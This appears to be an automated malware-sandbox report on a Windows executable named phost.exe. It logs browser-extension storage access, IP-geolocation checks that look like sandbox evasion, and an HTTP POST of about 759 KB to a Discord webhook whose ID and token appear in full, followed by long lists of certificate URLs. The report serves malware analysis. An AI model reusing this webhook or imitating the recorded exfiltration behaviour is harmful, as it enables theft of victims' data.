Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\	Jump to behavior

Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: phost.exe, 00000001.00000002.2179183258.000001AE1DC84000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: blank-c9yfy.in
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1267176433306829014/YhEVi7QXrkO9uMJodvR8Fp2e6uTZlqxB6sVXodhGTQI4MPsm1-wFNZP3qTm1buU6tOMG HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 759276User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=d86edcfe5e1bf83a434b434f5a1b347a

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 07:42:31 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1734075752x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bba3f1%2FZudwJQkFnKMdEqfZPnm6iBU18h3o3V9HzDakAlD5TEPANc%2BJkkp4mRZbicFS%2BglfWhSxd5p311G2JhLOYuxaDo7M3Dq5SOiR%2BQaH2o1Dt9emz1wTDcHLh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=d7c98e932c69185b4fd952897188f4a54139cb30-1734075751; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=E0fT_eR75aZoCbniOOZ.Jl5rOKtvPVKzo2aCeNNnf0A-1734075751127-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f14515d1ed40cb2-EWR

Source: phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677087289.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000002.2191688030.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677087289.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000002.2191688030.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: phost.exe, 00000001.00000003.1842261128.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1854068522.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1849010645.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1813520345.000001AE1D7ED000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2170059092.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178616618.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1886265486.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2173409124.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1843830271.000001AE1D7D5000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2172415408.000001AE1D7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000004A.00000002.2037939730.000001C72DC70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: svchost.exe, 00000014.00000002.2946070678.000001E22DA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677087289.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000002.2191688030.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: phost.exe, 00000001.00000003.1701513638.000001AE1D222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D8FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D9B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: phost.exe, 00000001.00000002.2177248707.000001AE1D1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: phost.exe, 00000001.00000002.2178106775.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1830725428.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1857854012.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1837339893.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704518164.000001AE1D674000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: phost.exe, 00000001.00000003.1837339893.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1837339893.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1832092199.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1857854012.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1851038862.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D604000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1856459466.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178106775.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1830725428.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704273079.000001AE1D718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: phost.exe, 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingrz
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingrzr
Source: powershell.exe, 0000000C.00000002.1792042705.000002119FF16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004A.00000002.2029247692.000001C7259B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004A.00000002.1977970654.000001C71739C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004A.00000002.2029247692.000001C725AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
